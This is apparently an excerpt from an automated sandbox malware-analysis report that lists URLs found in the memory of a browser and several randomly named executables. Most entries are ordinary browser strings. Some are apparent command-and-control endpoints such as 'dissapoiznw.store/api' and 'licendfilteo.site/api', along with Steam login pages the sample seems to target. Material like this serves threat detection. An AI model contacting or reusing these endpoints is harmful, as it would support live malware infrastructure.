Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000015.00000003.2150730540.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2104170885.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dissapoiznw.store:443/api
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000003.2078048238.0000016C0C464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2075754399.0000016C0C46A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2070895362.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2202309346.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2234346189.0000016C133E2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000015.00000003.2070895362.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2202309346.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000015.00000003.2199237331.0000016C1368D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000015.00000003.2070895362.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2202309346.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13515000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13515000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2261116618.0000016C0B391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2206170906.0000016C0CEA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2176955876.0000016C0B3F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2220389420.0000016C0AFBB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
Source: firefox.exe, 00000015.00000003.2207149416.0000016C0CE09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/cmd/H
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/cmd/HCX
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
Source: firefox.exe, 00000015.00000003.2247929600.0000016C0DB6A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
Source: firefox.exe, 00000015.00000003.2257505898.0000016C136B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000015.00000003.2206826860.0000016C0CE3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000015.00000003.2254134986.0000016C15AE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/4ffcffa7-c5ad-491d-bbb4-1a0fd
Source: firefox.exe, 00000015.00000003.2250235920.0000016C7F6E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/metrics/1/12cf98ce-aa25-4a57-bdd2-4c8b
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000015.00000003.2086228328.0000016C0C0D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2072335586.0000016C0C0D4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000015.00000003.2072335586.0000016C0C06F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2247091979.0000016C0DF9D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.steampowered.com/
Source: firefox.exe, 00000015.00000003.2261116618.0000016C0B391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2220389420.0000016C0AFBB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lookerstudio.google.com/embed/reporting/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://medal.tv
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/
